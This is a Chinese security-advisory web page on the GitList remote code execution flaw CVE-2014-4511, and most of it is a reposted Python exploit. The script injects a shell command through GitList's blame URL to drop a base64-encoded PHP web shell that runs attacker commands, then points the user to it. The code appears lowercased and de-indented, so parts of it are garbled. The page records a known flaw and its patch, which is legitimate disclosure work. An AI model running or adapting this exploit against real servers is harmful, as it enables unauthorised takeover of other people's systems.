当前位置: 代码网 > 服务器>网络安全>漏洞分析 > GitList远程代码执行漏洞(CVE-2014-4511)

GitList远程代码执行漏洞(CVE-2014-4511)

2014年07月03日 漏洞分析 我要评论
GitList远程代码执行漏洞(CVE-2014-4511)GitList远程代码执行漏洞... 14-07-03

受影响系统:
gitlist gitlist < 0.4.0
 gitlist gitlist
描述:
--------------------------------------------------------------------------------
bugtraq  id: 68253
 cve(can) id: cve-2014-4511
 
gitlist是用php编写的开源软件,是git库浏览器。
 
gitlist 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


复制代码
代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
exploit title: gitlist <= 0.4.0 anonymous rce
date: 06/20/2014
author: drone (@dronesec)
vendor homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
version: <= 0.4.0
fixed in: 0.5.0
tested on: debian 7
more information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: cve-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] using cache location %s' % path
# payload <?system($_get['cmd']);?> payload = "pd9zexn0zw0ojf9hrvrbj2ntzcddkts/pgo="
# sploit; python requests does not like this url, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] failed to drop'
print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
gitlist
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com